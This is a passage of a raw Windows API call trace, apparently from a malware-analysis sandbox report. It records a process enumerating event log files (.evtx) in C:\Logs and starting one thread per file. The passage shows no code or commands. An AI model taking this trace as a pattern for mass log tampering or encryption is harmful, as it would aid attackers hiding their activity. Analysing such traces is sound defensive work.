ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd418fcc3, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx", cAlternateFileName="MI07E1~1.EVT")) returned 1 [0058.838] wcscmp (_String1="Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx", _String2=".") returned 1 [0058.838] wcscmp (_String1="Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx", _String2="..") returned 1 [0058.838] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x84) returned 0x33e2c30 [0058.838] wcscpy (in: _Dest=0x33e2c30, _Source="C:\\Logs" | out: _Dest="C:\\Logs") returned="C:\\Logs" [0058.838] wcscat (in: _Dest=0x33e2c30, _Source="\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\" [0058.838] wcscat (in: _Dest=0x33e2c30, _Source="Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx" | out: _Dest="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx") returned="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx" [0058.838] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x33e2c30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x434 [0058.839] FindNextFileW (in: hFindFile=0x33dfa58, lpFindFileData=0x34203c0 | out: lpFindFileData=0x34203c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd418fcc3, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd418fcc3, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx", cAlternateFileName="MI8196~1.EVT")) returned 1 [0058.839] wcscmp (_String1="Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx", _String2=".") returned 1 [0058.839] wcscmp (_String1="Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx", _String2="..") returned 1 [0058.839] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x82) returned 0x33e3020 [0058.839] wcscpy (in: _Dest=0x33e3020, _Source="C:\\Logs" | out: _Dest="C:\\Logs") returned="C:\\Logs" [0058.839] wcscat (in: _Dest=0x33e3020, _Source="\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\" [0058.839] wcscat (in: _Dest=0x33e3020, _Source="Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx" | out: _Dest="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx") returned="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx" [0058.839] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x33e3020, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x438 [0058.840] FindNextFileW (in: hFindFile=0x33dfa58, lpFindFileData=0x34203c0 | out: lpFindFileData=0x34203c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd41b5f2d, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd41b5f2d, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-AppModel-Runtime%4Admin.evtx", cAlternateFileName="MIE36C~1.EVT")) returned 1 [0058.840] wcscmp (_String1="Microsoft-Windows-AppModel-Runtime%4Admin.evtx", _String2=".") returned 1 [0058.840] wcscmp (_String1="Microsoft-Windows-AppModel-Runtime%4Admin.evtx", _String2="..") returned 1 [0058.840] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x6e) returned 0x33c3f40 [0058.840] wcscpy (in: _Dest=0x33c3f40, _Source="C:\\Logs" | out: _Dest="C:\\Logs") returned="C:\\Logs" [0058.840] wcscat (in: _Dest=0x33c3f40, _Source="\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\" [0058.840] wcscat (in: _Dest=0x33c3f40, _Source="Microsoft-Windows-AppModel-Runtime%4Admin.evtx" | out: _Dest="C:\\Logs\\Microsoft-Windows-AppModel-Runtime%4Admin.evtx") returned="C:\\Logs\\Microsoft-Windows-AppModel-Runtime%4Admin.evtx" [0058.840] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x33c3f40, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x43c [0058.841] FindNextFileW (in: hFindFile=0x33dfa58, lpFindFileData=0x34203c0 | out: lpFindFileData=0x34203c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd389efbd, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd389efbd, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-AppReadiness%4Admin.evtx", cAlternateFileName="MIC5CB~1.EVT")) returned 1 [0058.841] wcscmp (_String1="Microsoft-Windows-AppReadiness%4Admin.evtx", _String2=".") returned 1 [0058.841] wcscmp (_String1="Microsoft-Windows-AppReadiness%4Admin.evtx", _String2="..") returned 1 [0058.841] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x66) returned 0x33c2d60 [0058.841] wcscpy (in: _Dest=0x33c2d60, _Source="C:\\Logs" | out: _Dest="C:\\Logs") returned="C:\\Logs" [0058.841] wcscat (in: _Dest=0x33c2d60, _Source="\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\" [0058.841] wcscat (in: _Dest=0x33c2d60, _Source="Microsoft-Windows-AppReadiness%4Admin.evtx" | out: _Dest="C:\\Logs\\Microsoft-Windows-AppReadiness%4Admin.evtx") returned="C:\\Logs\\Microsoft-Windows-AppReadiness%4Admin.evtx" [0058.841] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x33c2d60, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x440 [0058.842] FindNextFileW (in: hFindFile=0x33dfa58, lpFindFileData=0x34203c0 | out: lpFindFileData=0x34203c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd38c5212, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd38c5212, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x111000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-AppReadiness%4Operational.evtx", cAlternateFileName="MIF8AA~1.EVT")) returned 1 [0058.842] wcscmp (_String1="Microsoft-Windows-AppReadiness%4Operational.evtx", _String2=".") returned 1 [0058.842] wcscmp (_String1="Microsoft-Windows-AppReadiness%4Operational.evtx", _String2="..") returned 1 [0058.843] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x72) returned 0x33cd770 [0058.843] wcscpy (in: _Dest=0x33cd770, _Source="C:\\Logs" | out: _Dest="C:\\Logs") returned="C:\\Logs" [0058.843] wcscat (in: _Dest=0x33cd770, _Source="\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\" [0058.843] wcscat (in: _Dest=0x33cd770, _Source="Microsoft-Windows-AppReadiness%4Operational.evtx" | out: _Dest="C:\\Logs\\Microsoft-Windows-AppReadiness%4Operational.evtx") returned="C:\\Logs\\Microsoft-Windows-AppReadiness%4Operational.evtx" [0058.843] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x33cd770, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x444 [0058.843] FindNextFileW (in: hFindFile=0x33dfa58, lpFindFileData=0x34203c0 | out: lpFindFileData=0x34203c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd4143825, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd4143825, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-AppXDeployment%4Operational.evtx", cAlternateFileName="MI34FE~1.EVT")) returned 1 [0058.843] wcscmp (_String1="Microsoft-Windows-AppXDeployment%4Operational.evtx", _String2=".") returned 1 [0058.843] wcscmp (_String1="Microsoft-Windows-AppXDeployment%4Operational.evtx", _String2="..") returned 1 [0058.844] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x76) returned 0x33cd870 [0058.844] wcscpy (in: _Dest=0x33cd870, _Source="C:\\Logs" | out: _Dest="C:\\Logs") returned="C:\\Logs" [0058.844] wcscat (in: _Dest=0x33cd870, _Source="\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\" [0058.844] wcscat (in: _Dest=0x33cd870, _Source="Microsoft-Windows-AppXDeployment%4Operational.evtx" | out: _Dest="C:\\Logs\\Microsoft-Windows-AppXDeployment%4Operational.evtx") returned="C:\\Logs\\Microsoft-Windows-AppXDeployment%4Operational.evtx" [0058.844] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x33cd870, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x448 [0058.844] FindNextFileW (in: hFindFile=0x33dfa58, lpFindFileData=0x34203c0 | out: lpFindFileData=0x34203c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5af3554f, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x5af3554f, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x211000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-AppXDeploymentServer%4Operational.evtx", cAlternateFileName="MIA24C~1.EVT")) returned 1 [0058.844] wcscmp (_String1="Microsoft-Windows-AppXDeploymentServer%4Operational.evtx", _String2=".") returned 1 [0058.844] wcscmp (_String1="Microsoft-Windows-AppXDeploymentServer%4Operational.evtx", _String2="..") returned 1 [0058.845] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x82) returned 0x33e30b0 [0058.845] wcscpy (in: _Dest=0x33e30b0, _Source="C:\\Logs" | out: _Dest="C:\\Logs") returned="C:\\Logs" [0058.845] wcscat (in: _Dest=0x33e30b0, _Source="\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\" [0058.845] wcscat (in: _Dest=0x33e30b0, _Source="Microsoft-Windows-AppXDeploymentServer%4Operational.evtx" | out: _Dest="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Operational.evtx") returned="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Operational.evtx" [0058.845] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x33e30b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x44c [0058.845] FindNextFileW (in: hFindFile=0x33dfa58, lpFindFileData=0x34203c0 | out: lpFindFileData=0x34203c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5af3554f, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x5af3554f, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x95ae023d, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx", cAlternateFileName="MIDBEC~1.EVT")) returned 1 [0058.845] wcscmp (_String1="Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx", _String2=".") returned 1 [0058.845] wcscmp (_String1="Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx", _String2="..") returned 1 [0058.846] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x80) returned 0x33cc760 [0058.846] wcscpy (in: _Dest=0x33cc760, _Source="C:\\Logs" | out: _Dest="C:\\Logs") returned="C:\\Logs" [0058.846] wcscat (in: _Dest=0x33cc760, _Source="\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\" [0058.846] wcscat (in: _Dest=0x33cc760, _Source="Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx" | out: _Dest="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx") returned="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx" [0058.846] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x33cc760, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x450 [0058.846] FindNextFileW (in: hFindFile=0x33dfa58, lpFindFileData=0x34203c0 | out: lpFindFileData=0x34203c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85798667, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x85798667, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x95ae023d, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-AppxPackaging%4Operational.evtx", cAlternateFileName="MI54F1~1.EVT")) returned 1 [0058.847] wcscmp (_String1="Microsoft-Windows-AppxPackaging%4Operational.evtx", _String2=".") returned 1 [0058.847] wcscmp (_String1="Microsoft-Windows-AppxPackaging%4Operational.evtx", _String2="..") returned 1 [0058.847] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x74) returned 0x33cccf0 [0058.847] wcscpy (in: _Dest=0x33cccf0, _Source="C:\\Logs" | out: _Dest="C:\\Logs") returned="C:\\Logs" [0058.847] wcscat (in: _Dest=0x33cccf0, _Source="\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\" [0058.847] wcscat (in: _Dest=0x33cccf0, _Source="Microsoft-Windows-AppxPackaging%4Operational.evtx" | out: _Dest="C:\\Logs\\Microsoft-Windows-AppxPackaging%4Operational.evtx") returned="C:\\Logs\\Microsoft-Windows-AppxPackaging%4Operational.evtx" [0058.847] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x33cccf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x454 [0058.847] FindNextFileW (in: hFindFile=0x33dfa58, lpFindFileData=0x34203c0 | out: lpFindFileData=0x34203c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd74d25ab, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd74d25ab, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx", cAlternateFileName="MI111F~1.EVT")) returned 1 [0058.847] wcscmp (_String1="Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx", _String2=".") returned 1 [0058.847] wcscmp (_String1="Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx", _String2="..") returned 1 [0058.848] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x92) returned 0x33ead70 [0058.848] wcscpy (in: _Dest=0x33ead70, _Source="C:\\Logs" | out: _Dest="C:\\Logs") returned="C:\\Logs" [0058.848] wcscat (in: _Dest=0x33ead70, _Source="\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\" [0058.848] wcscat (in: _Dest=0x33ead70, _Source="Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx" | out: _Dest="C:\\Logs\\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx") returned="C:\\Logs\\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx" [0058.848] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x33ead70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x458 [0058.848] FindNextFileW (in: hFindFile=0x33dfa58, lpFindFileData=0x34203c0 | out: lpFindFileData=0x34203c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe1f96ca4, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xe1f96ca4, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-Bits-Client%4Operational.evtx", cAlternateFileName="MI9465~1.EVT")) returned 1 [0058.848] wcscmp (_String1="Microsoft-Windows-Bits-Client%4Operational.evtx", _String2=".") returned 1 [0058.848] wcscmp (_String1="Microsoft-Windows-Bits-Client%4Operational.evtx", _String2="..") returned 1 [0058.848] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x33cfb48 [0058.849] wcscpy (in: _Dest=0x33cfb48, _Source="C:\\Logs" | out: _Dest="C:\\Logs") returned="C:\\Logs" [0058.849] wcscat (in: _Dest=0x33cfb48, _Source="\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\" [0058.849] wcscat (in: _Dest=0x33cfb48, _Source="Microsoft-Windows-Bits-Client%4Operational.evtx" | out: _Dest="C:\\Logs\\Microsoft-Windows-Bits-Client%4Operational.evtx") returned="C:\\Logs\\Microsoft-Windows-Bits-Client%4Operational.evtx" [0058.849] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x33cfb48, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x45c [0058.849] FindNextFileW (in: hFindFile=0x33dfa58, lpFindFileData=0x34203c0 | out: lpFindFileData=0x34203c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8783aa15, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x8783aa15, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x95ae023d, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-CodeIntegrity%4Operational.evtx", cAlternateFileName="MI03A7~1.EVT")) returned 1 [0058.850] wcscmp (_String1="Microsoft-Windows-CodeIntegrity%4Operational.evtx", _String2=".") returned 1 [0058.850] wcscmp (_String1="Microsoft-Windows-CodeIntegrity%4Operational.evtx", _String2="..") returned 1 [0058.850] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x74) returned 0x33cca70 [0058.850] wcscpy (in: _Dest=0x33cca70, _Source="C:\\Logs" | out: _Dest="C:\\Logs") returned="C:\\Logs" [0058.850] wcscat (in: _Dest=0x33cca70, _Source="\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\" [0058.850] wcscat (in: _Dest=0x33cca70, _Source="Microsoft-Windows-CodeIntegrity%4Operational.evtx" | out: _Dest="C:\\Logs\\Microsoft-Windows-CodeIntegrity%4Operational.evtx") returned="C:\\Logs\\Microsoft-Windows-CodeIntegrity%4Operational.evtx" [0058.850] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x33cca70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x460 [0058.851] FindNextFileW (in: hFindFile=0x33dfa58, lpFindFileData=0x34203c0 | out: lpFindFileData=0x34203c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c3c71c5, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x8c3c71c5, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x95ae023d, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx", cAlternateFileName="MI5CA2~1.EVT")) returned 1 [0058.851] wcscmp (_String1="Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx", _String2=".") returned 1 [0058.851] wcscmp (_String1="Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx", _String2="..") returned 1 [0058.851] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x90) returned 0x33cbcf0 [0058.851] wcscpy (in: _Dest=0x33cbcf0, _Source="C:\\Logs" | out: _Dest="C:\\Logs") returned="C:\\Logs" [0058.851] wcscat (in: _Dest=0x33cbcf0, _Source="\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\" [0058.851] wcscat (in: _Dest=0x33cbcf0, _Source="Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx" | out: _Dest="C:\\Logs\\Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx") returned="C:\\Logs\\Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx" [0058.851] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x33cbcf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x464 [0058.852] FindNextFileW (in: hFindFile=0x33dfa58, lpFindFileData=0x34203c0 | out: lpFindFileData=0x34203c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50cc9231, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x50cc9231, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x95ae023d, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx", cAlternateFileName="MI5FD1~1.EVT")) returned 1 [0058.852] wcscmp (_String1="Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx", _String2=".") returned 1 [0058.852] wcscmp (_String1="Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx", _String2="..") returned 1 [0058.852] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x74) returned 0x33cd270 [0058.852] wcscpy (in: _Dest=0x33cd270, _Source="C:\\Logs" | out: _Dest="C:\\Logs") returned="C:\\Logs" [0058.852] wcscat (in: _Dest=0x33cd270, _Source="\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\" [0058.853] wcscat (in: _Dest=0x33cd270, _Source="Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx" | out: _Dest="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx") returned="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx" [0058.853] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x33cd270, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x468 [0058.854] FindNextFileW (in: hFindFile=0x33dfa58, lpFindFileData=0x34203c0 | out: lpFindFileData=0x34203c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50ca2fbd, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x50ca2fbd, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-Crypto-DPAPI%4Operational.evtx", cAlternateFileName="MI8BDF~1.EVT")) returned 1 [0058.854] wcscmp (_String1="Microsoft-Windows-Crypto-DPAPI%4Operational.evtx", _String2=".") returned 1 [0058.854] wcscmp (_String1="Microsoft-Windows-Crypto-DPAPI%4Operational.evtx", _String2="..") returned 1 [0058.854] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x72) returned 0x33ccd70 [0058.854] wcscpy (in: _Dest=0x33ccd70, _Source="C:\\Logs" | out: _Dest="C:\\Logs") returned="C:\\Logs" [0058.854] wcscat (in: _Dest=0x33ccd70, _Source="\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\" [0058.854] wcscat (in: _Dest=0x33ccd70, _Source="Microsoft-Windows-Crypto-DPAPI%4Operational.evtx" | out: _Dest="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx") returned="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx" [0058.854] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x33ccd70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x46c [0058.855] FindNextFileW (in: hFindFile=0x33dfa58, lpFindFileData=0x34203c0 | out: lpFindFileData=0x34203c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c3ed420, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x8c3ed420, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x95ae023d, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x101000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx", cAlternateFileName="MIAEBD~1.EVT")) returned 1 [0058.855] wcscmp (_String1="Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx", _String2=".") returned 1 [0058.855] wcscmp (_String1="Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx", _String2="..") returned 1 [0058.855] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xae) returned 0x33e3a40 [0058.855] wcscpy (in: _Dest=0x33e3a40, _Source="C:\\Logs" | out: _Dest="C:\\Logs") returned="C:\\Logs" [0058.855] wcscat (in: _Dest=0x33e3a40, _Source="\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\" [0058.855] wcscat (in: _Dest=0x33e3a40, _Source="Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx" | out: _Dest="C:\\Logs\\Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx") returned="C:\\Logs\\Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx" [0058.855] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x33e3a40, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x470 [0058.856] FindNextFileW (in: hFindFile=0x33dfa58, lpFindFileData=0x34203c0 | out: lpFindFileData=0x34203c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50cef47f, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x50cef47f, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-DeviceSetupManager%4Admin.evtx", cAlternateFileName="MIA726~1.EVT")) returned 1 [0058.856] wcscmp (_String1="Microsoft-Windows-DeviceSetupManager%4Admin.evtx", _String2=".") returned 1 [0058.856] 